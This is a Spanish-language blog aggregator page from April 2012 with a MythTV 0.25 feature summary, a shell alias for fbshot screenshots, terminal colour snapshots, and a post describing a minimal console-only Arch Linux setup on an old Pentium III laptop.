En la versión 0.25 de MythTV se incluyen nuevas características que destacan el interés en los usuarios, como nuevas capacidades de aceleración de video, tales como VAAPI y video de DirectX2, mejoras de audio, incluyendo soporte para E-AC3, TrueHD y DTS-HD, mejoras de los metadatos que integra gestión de grabaciones y videos, una API para aplicaciones de terceros, para aprovechar la interacción con el frontend y backend, control del televisor y otros componentes AV a través del consumer electronics control, o la inclusión de un HTTP Live Streaming, para compartir el contenido de video en tiempo eral a través de la API integrada.

También se destaca en el nuevo reproductor MythTV, el MythMusic que ha sido completamente reescrito y MythVideo que ahora se ha integrado completamente, en lugar de ser distribuido como un plug-in por separado. Además, a través de MythThemes, todos los temas, incluyendo los de terceros, se pueden descargar directamente desde el selector de temas de la interfaz.

 

Martes 24 de abril de 2012

David Doe

David Doe
e2391

Un alias para fbshot

Para capturar la pantalla en mi sistema sin X suelo utilizar fbshot. Amo este pequeño programa por su simpleza y permitirme documentar mis andanzas en la terminal. Lo único que siempre me da flojera es tener que especificar si o si el nombre del fichero de salida :P

Por eso cree este alias:

alias fbs=’fbshot -s 5 ~/Screenshots/`date +%F_%H:%M:%S_$HOSTNAME.png`’

Ahora mis screenshots están ordenadas por fecha, hora y nombre de la maquina :D

EOF

Lunes 23 de abril de 2012

David Doe

David Doe
e2391

Terminal monocromático

Jugando..

#4DC791
archlinux tmux

#4D6791
archlinux tmux

#898960
archlinux tmux

EOF

Viernes 20 de abril de 2012

David Doe

David Doe
e2391

CLI BASED SYSTEM: Archlinux en Olivetti Pentium III

archlinux tmux tty-clock newsbeuter vitunes vim conky

Ese es Archlinux corriendo en mi notebook Olivetti con un procesador Pentium III 700mhz, 180mb de RAM y un disco rígido de 18gb. Es una configuracíon muy minimalista al punto de no tener Xorg instalado. Todas mis tareas las realizo desde la tty valiéndome de distintas CLI apps. Mención especial para tmux  con el cual puedo ejecutar diferentes terminales virtuales en una misma tty.

Ahora ¿Que puedo hacer desde un entorno tan básico? Con newsbeuter leo mis feeds, a traves de elinks navego por la web y, si lo quiero hacer de forma grafica tiro con links. Gestiono mi mail con mutt, veo videos con mplayer, imagenes con fbi y pdfs con fbgs, escucho musica con vitunes, uso nano para escribir tonterias y editar ficheros de configuracion, vim para programar y hnb para tomar notas. Manejo ordenadores remotos con ssh, descargo torrents con rtorrent, chateo mediante irssi+bitlbee y pruebo la seguridad de mi red con aircrack entre otras cosas.

Cuando compre esta note, me la entregaron con una placa PCMCIA wifi con chipset RALINK, así que en cuanto a ese aspecto no tuve ningun problema. Para administrar mis conecciones utilizo netcfg+wifi-select que es de lo mas minimalista que hay.

El unico problema que tengo es con el brillo, no hay forma de que se lo pueda bajar. No molesta demasiado por suerte, pero no me quejaria si se pudiese modificar. Probe con varias distros y lo mismo, no hay forma. Asi que todavia ando investigando. Sacando eso todo funciona de diez.

Me gusta mucho usar este entorno, siento que aprovecho toda la potencia de esta vieja laptop. Del grub al login hay alrededor de 22 segundos y en el arranque consume unos 18mb de RAM mas o menos, lo que no esta para nada mal. Mas allá de lo que pueda parecer, me resulta muy cómodo usar este sistema. No soy dependiente del mouse y casi siempre me muevo con atajos de teclado por lo que no tarde en acostumbrarme demasiado a usar tmux. Además, el touchpad no es lo mio :P

Por ultimo comentar que me encanta el hecho de poder llevar a cabo tantas tareas en una computadora que tiene mas de una decada. Soy partidario de que los ordenadores viejos pueden reutilizarse de una manera u otra :)

EOF

Jueves 05 de abril de 2012

Soft-Libre: GNOME 3.4 disponible con interesantes novedades
Soft-Libre: Wallpapers para Ubuntu 12.04 LTS